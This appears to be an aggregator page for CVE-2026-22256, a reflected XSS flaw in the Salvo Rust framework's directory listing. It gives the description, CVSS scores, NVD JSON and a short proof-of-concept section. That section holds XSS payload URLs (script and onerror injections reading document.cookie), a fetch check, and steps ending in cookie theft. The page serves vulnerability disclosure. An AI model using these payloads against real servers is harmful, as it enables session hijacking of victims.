Security Vulnerability Report
中文
CVE-2026-22256 CVSS 8.8 HIGH

CVE-2026-22256

Published: 2026-01-08 19:16:00
Last Modified: 2026-03-05 17:43:06

Description

Salvo is a Rust web backend framework. Prior to version 0.88.1, the function list_html generate an file view of a folder which include a render of the current path, in which its inserted in the HTML without proper sanitation, this leads to reflected XSS using the fact that request path is decoded and normalized in the matching stage but not is inserted raw in the html view (current.path), the only constraint here is for the root path (eg. /files in the PoC example) to have a sub directory (e.g common ones styles/scripts/etc…) so that the matching return the list HTML page instead of the Not Found page. This issue has been patched in version 0.88.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:salvo:salvo:*:*:*:*:*:rust:*:* - VULNERABLE
Salvo < 0.88.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22256 Reflected XSS PoC // Target: Salvo framework < 0.88.1 // Attack Type: Reflected Cross-Site Scripting // PoC URL construction (requires subdirectory under root path): const pocUrl = 'http://target-server/files/<script>alert(document.cookie)</script>/common'; // Alternative PoC with event handler (bypasses some filters): const pocUrl2 = 'http://target-server/files/<img src=x onerror=alert(1)>'; // Fetch PoC demonstrating the XSS injection: fetch(pocUrl) .then(response => response.text()) .then(html => { // Check if XSS payload is reflected without encoding if (html.includes('<script>alert(document.cookie)</script>')) { console.log('[+] XSS vulnerability confirmed!'); console.log('[+] Payload reflected in response'); } }) .catch(err => console.error('[-] Request failed:', err)); // Browser-based exploitation: // 1. Attacker crafts malicious URL with XSS payload // 2. Victim clicks link or visits page containing the URL // 3. Browser sends request to target server // 4. Server reflects unescaped payload in HTML response // 5. Browser executes injected JavaScript code // 6. Attacker steals cookies/session data via document.cookie

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22256", "sourceIdentifier": "[email protected]", "published": "2026-01-08T19:16:00.107", "lastModified": "2026-03-05T17:43:05.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Salvo is a Rust web backend framework. Prior to version 0.88.1, the function list_html generate an file view of a folder which include a render of the current path, in which its inserted in the HTML without proper sanitation, this leads to reflected XSS using the fact that request path is decoded and normalized in the matching stage but not is inserted raw in the html view (current.path), the only constraint here is for the root path (eg. /files in the PoC example) to have a sub directory (e.g common ones styles/scripts/etc…) so that the matching return the list HTML page instead of the Not Found page. This issue has been patched in version 0.88.1."}, {"lang": "es", "value": "Salvo es un framework de backend web de Rust. Antes de la versión 0.88.1, la función list_html generaba una vista de archivo de una carpeta que incluía una renderización de la ruta actual, en la que se inserta en el HTML sin una sanitización adecuada, esto lleva a XSS reflejado utilizando el hecho de que la ruta de la solicitud se decodifica y normaliza en la etapa de coincidencia pero no se inserta en bruto en la vista HTML (current.path), la única restricción aquí es que la ruta raíz (por ejemplo, /files en el ejemplo de PoC) tenga un subdirectorio (por ejemplo, los comunes styles/scripts/etc…) para que la coincidencia devuelva la página HTML de lista en lugar de la página Not Found. Este problema ha sido parcheado en la versión 0.88.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salvo:salvo:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.88.1", "matchCriteriaId": "E869772F-499D-4D50-8718-6D68B3AC6543"}]}]}], "references": [{"url": "https://github.com/salvo-rs/salvo/blob/16efeba312a274739606ce76366d921768628654/crates/serve-static/src/dir.rs#L593", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/salvo-rs/salvo/security/advisories/GHSA-rjf8-2wcw-f6mp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}